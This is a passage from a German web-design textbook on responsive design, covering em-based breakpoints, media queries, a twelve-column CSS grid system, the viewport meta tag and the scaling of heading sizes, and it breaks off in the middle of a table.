        Doch ist es mit der Erhöhung der Schriftgröße allein ja nicht getan, denn in Wahrheit sollte sich mit der Erhöhung der Schriftgröße auch die gesamte Darstellung ändern. Diesem Thema hatten wir uns in Abschnitt 6.7, »Einheiten in CSS – nicht alles ist relativ« gewidmet und sind zur Erkenntnis gelangt, dass die schriftgrößenrelative Einheit em die einzig wahre Maßeinheit im Web darstellt. Damit haben wir aber auch eine Antwort auf die Frage bekommen, wohin wir unsere Umbruchpunkte legen: Wir finden für uns plausible Umbruchpunkte auf Basis der Pixelwerte von vorhin, rechnen diese jedoch in die Einheit em um, um auch dem Wahrnehmungsvermögen des Users gerecht zu werden:

        
            	
                Smartphone: bis 768 px → 48 em

            

            	
                Tablet: bis 992 px → 62 em

            

            	
                Notebook: bis 1200 px → 75 em

            

            	
                Desktop: ab 1200 px, also ab 75 em

            

        

        (Die Entwickler des beliebten Frameworks Bootstrap haben einen Durchschnitt über die gängigen Auflösungen berechnet und sind so zu diesen recht sinnvollen Werten gelangt.)

    


                    
                        
        8.5    Die Grundbausteine einer responsiven Site

        Nachdem ich eingangs gesagt habe, dass wir für ein gelungenes responsives Design einen flexiblen Gestaltungsraster, Media Queries sowie flexible Inhalte benötigen, wollen wir uns nun genauer ansehen, was damit gemeint ist und wie wir die einzelnen Punkte effizient realisieren können.

        
            8.5.1    Media Queries als das verbindende Element

            Auf das Thema der Media Queries sind wir schon öfter gestoßen, weshalb ich nun nicht mehr im Detail darauf eingehe. Wie Sie wissen, verfolgt man mit Media Queries vor allem ein Ziel: CSS-Regeln aufzustellen, die nur unter gewissen Voraussetzungen gelten sollen. Das sind etwa Regeln in Bezug auf die Viewport-Größe und -Orientierung, denn diese sind die Grundvoraussetzung für responsives Design. Darauf bauen wir auf.

            Was Sie in Ihrem zukünftigen Denken berücksichtigen müssen, ist jedoch auch, dass Sie Media Queries nicht dafür verwenden sollten, um auf einzelne Devices (wie ein iPhone 15, ein iPad Air Gen. x oder Ähnliches) einzugehen, sondern die Geräte auf Basis gemeinsamer Charakteristika bzw. Schnittmengen zu klassifizieren und so Media Queries gezielt für mehrere Devices einzusetzen – ganz nach dem Motto: »Was macht ein Smartphone aus, was ein Tablet?«

            
                [ ! ]  em und Media Queries

                Die Einheit em bezieht sich im Fall von Media Queries auf die im Browser eingestellte Schriftgröße und nicht auf die per CSS eingesetzte Schriftgröße. Eine gute Quelle, um dies nachzulesen, ist etwa der Artikel von Lyza Gardner, »The Ems have it: Proportional Media Queries FTW!«, unter https://cloudfour.com/thinks/the-ems-have-it-proportional-media-queries-ftw/).

            

            Wie immer stellt Mozilla eine feine Übersicht über die möglichen Media Queries bereit: https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_media_queries/Using_media_queries. Für uns Webdesigner sind vor allem die folgenden interessant:

            
                	
                    width, height, max-width, max-height: Angaben zur Viewport-Größe

                

                	
                    orientation, aspect-ratio: Angaben zur Viewport-Ausrichtung bzw. zum Seitenverhältnis des Viewports

                

                	
                    resolution: Pixeldichte des Ausgabegeräts (Monitor, Drucker)

                

                	
                    display-mode: Angaben zu den Darstellungsmöglichkeiten (Fullscreen o. Ä.)

                

                	
                    pointer: Angaben zum Eingabegerät (fein (Maus), grob (Finger), keines)

                

                	
                    scripting: Angabe dazu, ob im Browser des Users das Coden mit einer Scriptsprache möglich ist

                

            

            Wenn Sie sich überlegen, wie fein man nun Geräte/Ausgabemöglichkeiten segmentieren kann, sollte Ihnen das Herz übergehen. An dieser Stelle gilt wieder einmal: Es ist nicht die Frage, was alles möglich ist, sondern lediglich die Frage, wie gut Sie’s machen wollen. An der Technologie wird es nicht scheitern. Versprochen.

        
        
            8.5.2    Der Gestaltungsraster als Basis

            Ein Gestaltungsraster (Grid) stellt im Allgemeinen nicht mehr dar als eine Art Ordnungssystem, an dem Elemente ausgerichtet werden können. In der Typografie ist er ein unverzichtbares Instrument, denn gerade beim Thema Lesbarkeit muss auf (An-) Ordnung geachtet werden.

            Blickt man hingegen auf die Welt des Webdesigns zurück, so erkennt man rasch, dass früher ein wahres Durcheinander auf Websites herrschte: Bilder, Texte, Tabellen und Listen wurden wild angeordnet, ohne jegliche Rücksichtnahme auf eine gute Les- und Wahrnehmbarkeit. Nach den Gründen zu suchen ist einfach: Zunächst waren einfach die Möglichkeiten durch CSS (oder damals auch noch HTML) nicht gegeben. Grafiker, die sich als Webdesigner versuchen wollten, fanden demnach keine Möglichkeit, ihr Wissen und Können in puncto grafisches Design auf Websites zu portieren.

            Mit der Zeit wurde das Entwickeln von Websites immer mehr zum Hobby von grafisch schlechter ausgebildeten Personengruppen (frei nach dem Motto: »Jeder kann eine Website erstellen«), bei denen das Wissen um einen Gestaltungsraster von vorneherein nicht oder nur wenig vorhanden war. Erst mit dem Einzug von Flexboxen oder dem Grid in CSS war auch aus technischer Sicht der Grundstein dafür gelegt, ein sauberes und optisch klar strukturiertes Layout zu erstellen. Manch einer würde auch behaupten, erst mit dem Einzug des Responsive Webdesign in die Denkweise der Webentwickler habe sich das Layouten von Websites wieder zum Guten gewendet – Ethan Marcotte sei Dank.

            So, zurück zum Thema: Ein Gestaltungsraster ist also ein Rastersystem, das aus Spalten und Zeilen besteht. An ihm richten sich sämtliche Inhalte aus. Hierdurch erreicht man eine gute optische Linienführung (optische Kante), an der das Auge des Betrachters geführt wird. Vorrangig sind wir an den Spalten interessiert: Sie sollen gleiche Breiten besitzen; die Zeilen hingegen dürfen unterschiedlich hoch sein – je nach dort zu platzierendem Inhalt.

            Betrachten wir etwa eines der Layoutbeispiele von vorhin, so können wir sehr einfach einen gedanklichen Raster über das Layout legen, wie Sie in Abbildung 8.7 sehen.

            
                [image: Der gezeichnete Gestaltungsraster lässt die einzelnen Spalten des Designs klar erkennen. Beachten Sie bitte auch die – wenn auch kleinen – Abstände der Inhalte zu den Rasterlinien, auf die ich noch zu sprechen komme.]

                Abbildung 8.7    
            Der gezeichnete Gestaltungsraster lässt die einzelnen Spalten des Designs klar erkennen. Beachten Sie bitte auch die – wenn auch kleinen – Abstände der Inhalte zu den Rasterlinien, auf die ich noch zu sprechen komme.

            
            In diesem Beispiel haben wir es mit einem vierspaltigen Raster zu tun, in anderen Fällen kommt oftmals auch ein dreispaltiger Raster zum Einsatz. Nun tendieren viele (Web-)Entwickler*innen dazu, sich ein »One fits all«-System zu erschaffen, das sie nach Belieben einsetzen können und das für möglichst alle Anwendungsfälle funktioniert. Wie passen also ein dreispaltiger und ein vierspaltiger Raster zusammen? Nun, die Mathematik weiß es: Man definiert einen Raster aus dem kleinsten gemeinsamen Vielfachen (das wäre in unserem Fall ein zwölfspaltiger Raster) und fasst dann je nach Belieben einzelne Spalten zusammen, um daraus ein drei- oder vierspaltiges Layout zu erschaffen – Abbildung 8.8 zeigt diesen Ansatz.

            
                [image: Ein zwölfspaltiger Gestaltungsraster kann schnell zu einem Vierspalter umfunktioniert werden, indem man immer drei Spalten zu einer Spalte zusammenfasst.]

                Abbildung 8.8    
            Ein zwölfspaltiger Gestaltungsraster kann schnell zu einem Vierspalter umfunktioniert werden, indem man immer drei Spalten zu einer Spalte zusammenfasst.

            
            Ein zwölfspaltiges System hat sich in der Praxis als sehr gut erwiesen, da es viele Kombinationsmöglichkeiten liefert:

            
                	
                    ein zweispaltiges Design, indem sechs Spalten zusammengefasst werden

                

                	
                    ein dreispaltiges Design, indem vier Spalten zusammengefasst werden

                

                	
                    ein vierspaltiges Design, …

                

                	
                    (selten) ein sechsspaltiges Design

                

            

            Weiters erlaubt dieser Ansatz auch zeilenweise Kombinationen wie eine 1:2-Darstellung im Falle eines dreispaltigen Designs (indem in einer Zeile zunächst vier Spalten und daneben acht Spalten zusammengefasst werden) usw. Zwölf einzelne Spalten werden nur selten verwendet, da diese in den meisten Fällen zu schmal werden würden.

            Was Ihnen sicherlich auch aufgefallen ist, sind zwei Punkte:

            
                	
                    Üblicherweise beschränken wir uns auf eine maximale Breite, um die Lesbarkeit zu gewährleisten. Aus Usability-Untersuchungen wissen wir, dass die maximale Breite für einen Text bei etwa 55–75 Zeichen je Zeile liegen soll – überschreitet man diesen Wert, so müsste der Betrachter den Kopf schwenken bzw. die Augen zu weit nach links und rechts bewegen, was er als störend empfinden würde.

                

                	
                    Zwischen den Spalten wird gerne ein Abstand erzeugt, sodass die Spalten nicht aneinanderkleben.

                

            

            In CSS ist ein solches Design rasch realisiert:

            
                	
                    Man erzeugt beispielsweise eine CSS-Klasse für einen Container mit definierter (maximaler) Breite, der Grid-artig aufgebaut und mittig dargestellt wird.

                

                	
                    Im Grid werden zwölf gleich breite Spalten definiert

                

                	
                    Zwischen den Spalten (und Zeilen) wird ein Abstand festgelegt

                

            

            Ein solcher CSS-Code sähe wie folgt aus:

            .grid {
  max-width:71.25rem;* maximale Breite: 71.25rem entspricht 1140px
  margin:auto; /* stellt den Container mittig dar */
 
  display:grid;
  grid-template-columns:repeat(12,1fr); /* Zwölfspalter */
  gap:1rem; /* Abstand zwischen den Spalten und Zeilen */
}


            Listing 8.1    
            Der erste Schritt zu einem Grid-Layout. Noch nicht ganz fertig, aber es wird.

            Wendet man diese CSS-Klasse wie in Listing 8.2 auf einen HTML-Code an, so kann der Container ein Vielfaches von zwölf einzelnen Elementen aufnehmen:

            <div class="grid">
  <div>Eins</div>
  <div>Zwei</div>
  <div>Drei</div>
  <div>Vier</div>
  <div>Fünf</div>
  <div>Sechs</div>
  <div>Sieben</div>
  <div>Acht</div>
  <div>Neun</div>
  <div>Zehn</div>
  <div>Elf</div>
  <div>Zwölf</div>
</div>


            Listing 8.2    
            Eine typische Struktur für ein Grid: zwölf Container für zwölf Spalten.

            Das Ergebnis (in diesem Fall mit farbigen Spalten) sehen Sie in Abbildung 8.9.

            
                [image: Ein Gestaltungsraster, das aus zwölf Spalten besteht, ist in CSS schnell realisiert. Der Abstand zwischen den Spalten kann mitunter als störend empfunden werden, da die farbigen Hinterlegungen nicht aneinanderstoßen.]

                Abbildung 8.9    
            Ein Gestaltungsraster, das aus zwölf Spalten besteht, ist in CSS schnell realisiert. Der Abstand zwischen den Spalten kann mitunter als störend empfunden werden, da die farbigen Hinterlegungen nicht aneinanderstoßen.

            
            Alternativ zur gap-Eigenschaft könnte man den Spalten links und rechts auch einen Innenabstand mit der halben Breite des Gaps zuweisen. Geht man es geschickt an, so verwendet man einerseits CSS-Variablen und andererseits eine zusätzliche Klasse nogap (für die Fälle, in denen kein Abstand gewünscht ist), um dies mit möglichst wenig Aufwand zu realisieren:

            .grid {
  --maxwidth:71.25rem;
  --gap:1em;
 
  max-width:var(--maxwidth);
  margin:auto;
 
  display:grid;
  grid-template-columns:repeat(12,1fr);
  gap:var(--gap);
}
.grid.nogap {
  gap:0px;
}
.grid.nogap > * {
  box-sizing:border-box;
  padding:0px calc(var(--gap) / 2);
}


            Listing 8.3    
            Die Definition des Grids in CSS wächst an.

            Beachten Sie, dass die Padding-Variante zur Folge hat, dass sich der Platzbedarf innerhalb der Elemente verändert. Dies kann sich entweder so auswirken,

            
                	
                    dass der Platzbedarf des gesamten Elements mehr wird (dies im Falle von box-sizing:content-box; (der Standardfall)) oder

                

                	
                    dass der Platzbedarf des Elements gleich bleibt, sich dafür jedoch der Bereich für den Inhalt verkleinert (box-sizing:border-box;).

                

            

            In unserem Fall wollen wir, dass das Grid nicht größer wird, also verwenden wir die Border-Box.

            Das Ergebnis in Abbildung 8.10 spricht für sich: Die Spalten stoßen aneinander, aber der Inhalt behält den Abstand zur Spaltenkante. Zum Einsatz gelangt diese Variante üblicherweise immer dann, wenn man die Spalten farbig hinterlegen möchte, aber zwischen den Spalten kein leerer Abstand entstehen soll.

            
                [image: Die Spalten stoßen nun aneinander, ein Abstand zum Spaltenrand wird dennoch eingehalten.]

                Abbildung 8.10    
            Die Spalten stoßen nun aneinander, ein Abstand zum Spaltenrand wird dennoch eingehalten.

            
            Unsere nächste Aufgabe ist nun, eine Systematik zu finden, wie wir auf einfache Art und Weise mehrere Spalten zusammenfassen können, um ein Layout zu erschaffen, wie ich es zuvor angesprochen hatte: dreispaltig, vierspaltig etc. Eine Idee ist, dass wir mithilfe von CSS-Klassen den einzelnen Elementen im Grid mitteilen, über wie viele Spalten sie sich erstrecken sollen. Beispielsweise könnte man eine Klasse col-4 erschaffen und damit zum Ausdruck bringen wollen, dass sich dieses Element über vier Spaltenbereiche erstrecken soll. In einem CSS-Grid ist das wiederum mit (sehr) geringem Aufwand verbunden:

            .col-4 {
  grid-column:span 4;
}


            Eine solche Klasse muss man nun dem gewünschten Element in HTML zuweisen, und schon ist es erledigt, wie Abbildung 8.11 zeigt:

            <div class="grid">
  <div>Eins</div>
  <div>Zwei</div>
  <div class="col-4">Drei</div>
  <div>Vier</div>
  <div>Fünf</div>
  <div>Sechs</div>
  <div>Sieben</div>
  <div>Acht</div>
  <div>Neun</div>
  <div>Zehn</div>
  <div>Elf</div>
  <div>Zwölf</div>
</div>


            Listing 8.4    
            Das Verbinden von Spalten erfolgt (in diesem Beispiel) über die Angabe einer Klasse.

            
                [image: Da die dritte Spalte nun mehr Platz benötigt (insgesamt vier Zellen), rücken die folgenden Elemente nach, wodurch sich eine zweite Zeile an Elementen ergibt.]

                Abbildung 8.11    
            Da die dritte Spalte nun mehr Platz benötigt (insgesamt vier Zellen), rücken die folgenden Elemente nach, wodurch sich eine zweite Zeile an Elementen ergibt.

            
            Somit müssen wir nun nur noch für alle Variationen von Zellenüberdeckungen entsprechende Klassen schreiben (wobei der Fall, dass eine Zelle sich über eine Spalte erstreckt, nicht zwingend definiert werden müsste, da dies ja der Standardfall ist):

            .grid .col-1 { grid-column:span 1; }
.grid .col-2 { grid-column:span 2; }
.grid .col-3 { grid-column:span 3; }
.grid .col-4 { grid-column:span 4; }
.grid .col-5 { grid-column:span 5; }
.grid .col-6 { grid-column:span 6; }
.grid .col-7 { grid-column:span 7; }
.grid .col-8 { grid-column:span 8; }
.grid .col-9 { grid-column:span 9; }
.grid .col-10 { grid-column:span 10; }
.grid .col-11 { grid-column:span 11; }
.grid .col-12 { grid-column:span 12; }


            Listing 8.5    
            Zellen können Platz für eine bis hin zu zwölf Spalten besetzen.

            Wenden wir unsere Klassen an, so entstehen nun alle möglichen Spielarten (siehe Abbildung 8.12).

            
                [image: Die erste Zeile zeigt ausschließlich Einspalter (= zwölfspaltiges Layout), die Zeile darunter Zweispalter (= sechsspaltiges Layout), danach Drei-, Vier- und Sechsspalter. Darauf folgen ein paar sinnvolle Kombinationen, aber möglich wäre so ziemlich jede Spielart an Kombinationen.]

                Abbildung 8.12    
            Die erste Zeile zeigt ausschließlich Einspalter (= zwölfspaltiges Layout), die Zeile darunter Zweispalter (= sechsspaltiges Layout), danach Drei-, Vier- und Sechsspalter. Darauf folgen ein paar sinnvolle Kombinationen, aber möglich wäre so ziemlich jede Spielart an Kombinationen.

            
            Weil unserem Grid eine maximale Breite zugewiesen wurde, ist es auch bereits so flexibel, dass das Fenster bis zu einem gewissen Grad verkleinert werden kann. Die Grenze ist dann erreicht, wenn der Inhalt sich nicht mehr in eine Zelle quetschen lässt.

            
                [»]  Achten Sie immer auf die Anzahl

                Dass durch den erhöhten Platzbedarf des dritten Elements in unserem Grid die folgenden Elemente nachrücken, versteht sich von selbst. Achten Sie also darauf, dass der Gesamtbedarf pro Zeile im Grid 12 ergeben muss.

            

            Der nächste Schritt ist nun, Umbruchpunkte zu definieren, an denen das Layout eine andere Gestalt annimmt. Beispielsweise möchten wir ab einer gewissen Grenze (bzw. beim Unterschreiten dieser Grenze) von einem vierspaltigen Layout zu einem dreispaltigen Layout wechseln. Somit ist es an der Zeit, (sinnvolle) Umbruchpunkte zu definieren. Wo diese liegen, habe ich bereits in Abschnitt 8.4 beschrieben. Nun gilt es, sie umzusetzen, indem wir Media Queries definieren:

            @media screen and (min-width:75em) {
  /* Desktop */
}
@media screen and (max-width:calc(75em - 1px)) {
  /* Notebook */
}
@media screen and (max-width:calc(62em - 1px)) {
  /* Tablet */
}
@media screen and (max-width:calc(48em - 1px)) {
  /* Smartphone */
}


            Listing 8.6    
            Die Media Queries unterscheiden nun diverse Bildschirmbreiten, die als Indiz für die jeweiligen Mobilgeräte dienen.

            Schön und gut, aber wie bringen wir die Media Queries und die unterschiedlichen Layouts unter einen Hut? Offensichtlich müssen wir den HTML-Elementen im Grid je nach zur Verfügung stehender Darstellungsbreite unterschiedliche Ausdehnungen über die Zellen zuweisen – frei nach dem Motto: »Bei Desktop- und Notebook-Darstellung soll sich Element x über drei Zellen erstrecken (col-3), bei Tablet-Darstellung über vier Zellen (col-4) und bei Smartphone-Darstellung über alle zwölf Zellen (col-12)«.

            Da wir diese Informationen jedoch nicht gleichzeitig in einem class-Attribut unterbringen können, müssen wir kreativ werden. Eine Idee wäre, dass wir die Klassen umbenennen: Statt col-3 nehmen wir in diesem Beispiel col-desktop-3, statt col-4 nehmen wir col-tablet-4 und statt col-12 nehmen wir col-smartphone-12. Weil diese Beschriftungen aber etwas sperrig sind, könnten wir uns für small (sm), medium (md), large (lg) und x-large (xl) entscheiden: col-sm-12, col-md-4 und col-lg-3 usw. Diese Namensgebung ist schon fast zu einer Konvention unter Frontend-Entwicklern geworden, weshalb wir uns dieser nicht verweigern sollten.

            Nachdem wir für unterschiedliche Viewport-Größen auch unterschiedliche Klassenbezeichnungen gewählt haben, müssen wir jetzt pro Media Query diese Klassen im Code definieren, sodass diese nur für die jeweiligen Media Queries verfügbar sind. Dies ist zwar nur eine Copy-and-paste-Übung, aber dennoch ein wenig nervig:

            @media screen and (min-width:75em) {
  /* Desktop */
  .grid .col-xl-1 { grid-column: span 1; }
  .grid .col-xl-2 { grid-column: span 2; }
  .grid .col-xl-3 { grid-column: span 3; }
  ...
}
@media screen and (max-width:calc(75em - 1px)) {
  /* Notebook */
  .grid .col-lg-1 { grid-column: span 1; }
  .grid .col-lg-2 { grid-column: span 2; }
  .grid .col-lg-3 { grid-column: span 3; }
  ...
}
@media screen and (max-width:calc(62em - 1px)) {
  /* Tablet */
  .grid .col-md-1 { grid-column: span 1; }
  .grid .col-md-2 { grid-column: span 2; }
  .grid .col-md-3 { grid-column: span 3; }
  ...
}
@media screen and (max-width:calc(48em - 1px)) {
  /* Smartphone */
  .grid .col-sm-1 { grid-column: span 1; }
  .grid .col-sm-2 { grid-column: span 2; }
  .grid .col-sm-3 { grid-column: span 3; }
  ...
}


            Listing 8.7    
            Das Grid samt Media Queries ist fast fertig.

            So, damit steht das Grid zum größten Teil. Zeit für einen ersten Test. Betrachten wir folgendes – einfaches – Beispiel:

            <!DOCTYPE html>
<html lang="de">
  <head>
    <meta charset="UTF-8">
    <title>Gestaltungsraster</title>
    <link rel="stylesheet" href="css/grid.css">
    </head>
  <body>
    <div class="grid nogap">
      <div class="col-sm-12 col-md-6 col-lg-4 col-xl-3">Spalte 1</div>
      <div class="col-sm-12 col-md-6 col-lg-8 col-xl-3">Spalte 2</div>
      <div class="col-sm-12 col-md-6 col-lg-4 col-xl-3">Spalte 3</div>
      <div class="col-sm-12 col-md-6 col-lg-8 col-xl-3">Spalte 4</div>
    </div>
  </body>
</html>


            Listing 8.8    
            Die Anwendung eines Grids für unterschiedliche Viewport-Größen

            Wie man gut erkennen kann, definieren wir unser Layout wie folgt:

            
                	
                    Desktop-Darstellung (xl): Alle vier Spalten werden jeweils als Dreispalter dargestellt.

                

                	
                    Notebook-Darstellung (lg): Die erste und die dritte Spalte werden als Vierspalter, die zweite und vierte Spalte als Achtspalter dargestellt.

                

                	
                    Tablet-Darstellung (md): Alle vier Spalten werden als Sechsspalter dargestellt.

                

                	
                    Smartphone-Darstellung (sm): Alle vier Spalten werden als Zwölfspalter dargestellt.

                

            

            Betrachten wir das Ergebnis im Browser, so können wir die unterschiedlichen Viewport-Breiten auf zwei Arten testen:

            
                	
                    durch Verkleinern des sichtbaren Bereichs des Browsers, indem wir das Fenster bzw. den Viewport in der Breite verringern

                

                	
                    über die Entwicklertools eines Browsers, indem wir unterschiedliche Geräte(-größen) simulieren

                

            

            Variante 1 liefert das Ergebnis aus Abbildung 8.13 bis Abbildung 8.16.

            
                [image: Das Desktop-Layout ist vierspaltig,]

                Abbildung 8.13    
            Das Desktop-Layout ist vierspaltig,

            
            
                [image: Das Notebook-Layout ist (gemischt) dreispaltig.]

                Abbildung 8.14    
            Das Notebook-Layout ist (gemischt) dreispaltig.

            
            
                [image: Das Tablet-Layout ist zweispaltig.]

                Abbildung 8.15    
            Das Tablet-Layout ist zweispaltig.

            
            
                [image: Das Smartphone-Layout ist einspaltig.]

                Abbildung 8.16    
            Das Smartphone-Layout ist einspaltig.

            
            Sieht ja gut aus, aber … Aber wenn wir unser Grid in Google Chrome über die Entwicklertools (zur Erinnerung: (F12) in allen gängigen Browsern) testen, was unsere bevorzugte Testmethode ist, dann erhalten wir für Smartphone und Tablet ein recht eigenartiges Ergebnis. Betrachten wir Abbildung 8.17 für ein iPhone mit der nutzbaren Auflösung von 390 × 844 px, so sieht das gar nicht so fein aus:

            
                [image: Die Smartphone-Darstellung passt nicht zu unseren Angaben, denn das Layout wird zweispaltig und nicht wie beabsichtigt einspaltig dargestellt.]

                Abbildung 8.17    
            Die Smartphone-Darstellung passt nicht zu unseren Angaben, denn das Layout wird zweispaltig und nicht wie beabsichtigt einspaltig dargestellt.

            
            Das Ergebnis ist einigermaßen verwirrend, da die Darstellung offensichtlich nicht das widerspiegelt, was wir angegeben haben: Statt der Smartphone- wird die Tablet-Darstellung verwendet. Der Grund liegt darin, dass Google Chrome für eine responsive Darstellung grundsätzlich eine Viewport-Breite von 980 px ansetzt – für Mozilla Firefox gilt dies im Übrigen nicht.

            Aber ganz allgemein liegt unser Fehler in einem Versäumnis, das uns bis dato keine Probleme bereitet hat. Um einem (mobilen) Endgerät zu verdeutlichen, wie sich der Viewport berechnen soll, wird ein Meta-Tag im <head> einer Website benötigt, das dieses Verhalten bestimmt: <meta name="viewport" content="...">. Das content-Attribut bestimmt nun,

            
                	
                    wie breit und hoch der Viewport berechnet werden soll: Üblicherweise geht man bei mobilen Endgeräten davon aus, dass sich der Viewport über die gesamte zur Verfügung stehende Breite und Höhe ausdehnt:

                    width=device-width, height=device-height


                

                	
                    Daneben wird auch noch festgelegt, wie groß die Skalerierung sein soll:

                    initial-scale=1


                

                	
                    Möchte man, dass ein User nur innerhalb eines bestimmten Bereiches skalieren kann, so lässt sich dies über min-scale und max-scale bestimmen.

                

            

            
                [»]  Die zur Verfügung stehende Höhe

                Bitte beachten Sie, dass die zur Verfügung stehende Breite und Höhe nicht immer das gesamte Display sein muss: Beispielsweise steht einer Website im Splitscreen-Betrieb eines Geräts nur der halbe Bildschirm zur Verfügung; dennoch wird dieser halbe Bildschirm als die Gerätebreite und -höhe angesehen.

            

            Dieses Meta-Tag wird typischerweise so verwendet:

            <meta name="viewport" content="width=device-width, height=device-height, initial-scale=1">


            Fügt man dieses Snippet in den HTML-Code ein, so zeigt auch der Chrome in den Entwicklertools die Website korrekt an.

            Nun können wir uns noch darüber Gedanken machen, ob es nicht sinnvoll wäre, dass wir in manchen Fällen doch ein Grid haben, das sich über den gesamten Viewport in der Breite erstreckt und nicht auf eine maximale Breite beschränkt wird. Dies erledigt man gerne mit einer zusätzlichen Klasse .fullwidth, in der für das Grid die maximale Breite (die in unserem Fall ja zum Glück eine Variable ist) mit 100% bzw. auto festgelegt wird:

            .grid.fullwidth {
  --maxwidth:auto;
}


            Gut, damit haben wir ein feines Grid-System, das so ziemlich alle Anforderungen erfüllt, die wir uns wünschen. Die letzten Ausführungen sollten Ihnen zeigen, dass das Entwickeln eines eigenen Grid-Systems mit nicht allzu viel Aufwand verbunden ist. Der wesentliche Vorteil eines eigenen Systems ist, dass man es selbst entwickelt hat und schnell Änderungen vornehmen kann, wenn das notwendig werden sollte.

            Verwendet man hingegen ein bestehendes Grid-System (wie etwa dasjenige von Bootstrap: https://getbootstrap.com/), so muss man sich darauf verlassen, dass alles so funktioniert, wie man will. Außerdem besteht ein großer Nachteil derartiger Frameworks darin, dass deren Entwickler in der Regel daran interessiert sind, eine möglichst große Anzahl an Browsern (Systemen) zu unterstützen. Sie nehmen deshalb oft Einschränkungen oder einen Mehraufwand an Code in Kauf (wie etwa die Unterstützung älterer Browser, die noch nicht über die aktuellsten CSS-Möglichkeiten verfügen). Optimiert man das eigene System hingegen in Hinblick auf die eigene Zielgruppe, so kann man den Code hinter dem CSS-Grid optimieren.

            Abschließend noch ein Tipp: Passen Sie die Schriftgröße für die mobile Darstellung an die Display-Größe an. Der User eines mobilen Endgerätes ist diesem Ausgabegerät ja näher als einem Notebook oder Desktop-Monitor. Man spricht davon, dass man das Ausgabegerät »eine halbe Armlänge« entfernt hält. Aus diesem Grund darf die Schriftgröße auch verringert werden, je kleiner das Display wird (da wir es in der Regel näher am Auge halten). Ich werde in den Abschnitten über »Responsive Typografie« (siehe Abschnitt 8.5.3) sowie über »Mobile Usabilty« (siehe Abschnitt 8.6) noch genauer darauf eingehen.

        
        
            8.5.3    Flexible Medien als Kür

            Nachdem wir nun mit dem Grid-System die Basis gelegt haben, müssen wir uns als Nächstes darum kümmern, dass die Inhalte, die wir in die Grid-Bereiche legen, sich ebenfalls an den verfügbaren Platz anpassen. Das bedeutet, wir sollten zunächst einmal eine grobe Klassifizierung vornehmen, mit welchen Inhalten wir es ganz grundsätzlich zu tun haben:

            
                	
                    Textbasierter Inhalt: Hiermit sind sämtliche Texte sowie alle Listen oder ähnliche Gebilde gemeint. Derartige Inhalte stellen uns vor keine Probleme, da es eine Grundeigenschaft von Texten ist, dass sie flexibel umbrechen, und dies gilt dann natürlich auch für Texte innerhalb von Listen. Einzig dem Thema der Wortumbrüche bei sehr langen Wörtern bzw. hohen Schriftgrößen werden wir uns widmen müssen.

                

                	
                    Tabellenbasierter Inhalt: Tabellen sind im Gegensatz zu Listen insofern besonders (und anders), als dass Tabellen ein Gerüst vorgeben, das auf eine gewisse Art und Weise erhalten bleiben soll – zumindest so, dass der Betrachter eine Tabelle auch bei einer Layoutänderung immer noch als Tabelle erkennen kann. Ein simples Verkleinern der Tabelle wird ganz offensichtlich nicht möglich sein, wenn Sie etwa an das Beispiel einer Tabelle mit zehn Spalten denken: Am Desktop ist das kein Problem, am Smartphone aber unlesbar.

                

                	
                    Medien: Unter Medien verstehen wir Bilder, Grafiken und Videodaten. An dieser Stelle werden unsere Probleme schon größer, da diese Inhalte üblicherweise eine fest definierte Größe besitzen.

                

            

            Semantische Elemente wie article, section etc. machen uns natürlich keine Probleme, stellen diese doch lediglich unterschiedliche Arten von Containern dar.

            
                Textueller Content und Typografie-Überlegungen

                Bevor wir uns in den Lösungsmodus begeben, müssen wir uns noch ein wenig mit der Theorie befassen. Mittlerweile sollte es Ihnen in Fleisch und Blut übergegangen sein, dass Sie sich über unterschiedliche Displaygrößen Gedanken machen müssen. Je weniger Platz uns auf Bildschirmen zur Verfügung steht, umso weniger Variationsmöglichkeiten gibt es auch in Bezug auf unterschiedliche Schriftgrößen. Diesem Fakt trägt man mit den Responsive Font Proportions Rechung: Was sich als sehr gut herausgestellt hat, ist folgender Ansatz, den man für die Standardschrift bis hin zur größten eingesetzten Schrift (zumeist die Hauptüberschrift h1) wählt:

                
                    	
                        Im Falle kleiner Displays (Smartphone: ca. 320 px = 20 em) geht man davon aus, dass sich die Schriftgrößen von 1 em Basis-Schriftgröße auf das ca. 1,5-Fache erhöhen sollte.

                    

                    	
                        Im Falle großer Displays (Desktop: ca. 1920 px = 120 em) setzt man hingegen einen Faktor 3 an, da wesentlich mehr Platz zur Verfügung steht.

                    

                

                Jedoch erhöht man Schriftgrößen in der Regel nicht linear, sondern in einem vorgegebenen Teilungsverhältnis. Ein sehr beliebtes Teilungsverhältnis ist das des Goldenen Schnitts, das bei ca. 1:1,618 liegt. Geht man von der Standarddefinition der Schriftgrößen aus, dann entspricht die h4 der Größe der Fließtextschrift und die h1 wäre doppelt so groß wie die Fließtextschrift. Für uns bedeutet das also Folgendes:

                
                    	
                        Von der h4 auf die h3 wird der Faktor 1,618 einmal angewendet.

                    

                    	
                        Von der h3 auf die h2 wird der Faktor ein zweites Mal angewendet.

                    

                    	
                        Von der h2 auf die h1 wird der Faktor ein drittes Mal angewendet.

                    

                

                
                    [»]  Die Größe von h4

                    Dass die h4 dieselbe Größe wie die Fließtextschrift aufweist, ist nicht in Stein gemeißelt. Insbesondere im Falle kleiner Monitore ist der Einsatz einer h5 oder h6 (die dann kleiner als die Fließtextschrift wären) nicht mehr wirklich anzuraten. Vergessen Sie nicht, dass die Schriftgröße nicht das einzige Merkmal sein muss, um Überschriften als solche darzustellen: Großschreibung, Schriftgewicht etc. können ebenso zum Einsatz kommen.

                

                Mathematisch gesehen heißt das Folgendes, wenn wir die Unterschiede zwischen Smartphone/Tablet und Notebook/Desktop berücksichtigen:

                
                    [image: formula]

                
                In der obigen Formel kommt die Hochzahl 3 dadurch zustande, dass wir von der h4 auf die h1 eine dreimalige Erhöhung haben. Würden wir etwa von der h6 auf die h1 gehen, so wäre es eine fünfmalige Erhöhung.

                Gut, somit können wir die Größen der Überschriften für die Smartphone/Tablet- sowie die Notebook/Desktop-Darstellung bestimmen:

                
                    
                        
                            	
                            	
                                Notebook/Desktop

                            
                            	
                                Smartphone/Tablet

                            
                        

                        
                            	
                            	
                                berechnet

                            
                            	
                                gewählt

                            
                            	
                                berechnet

                            
                            	
                                gewählt

                            
                        

                    
                    
                        
                            	
                                h1

                            
                            	
                            	
                                300 %

                            
                            	
                            	
                                150 %

                            
                        

                        
                            	
                                h2

                            
                            	
                                207,37 %

                            
                            	
                                207 %

                            
                            	
                                131,22 %

                            
                            	
                                131 %

                            
                        

                        
                            	
                                h3

                            
                            	
                                144,002 %

                            
                            	
                                144 %

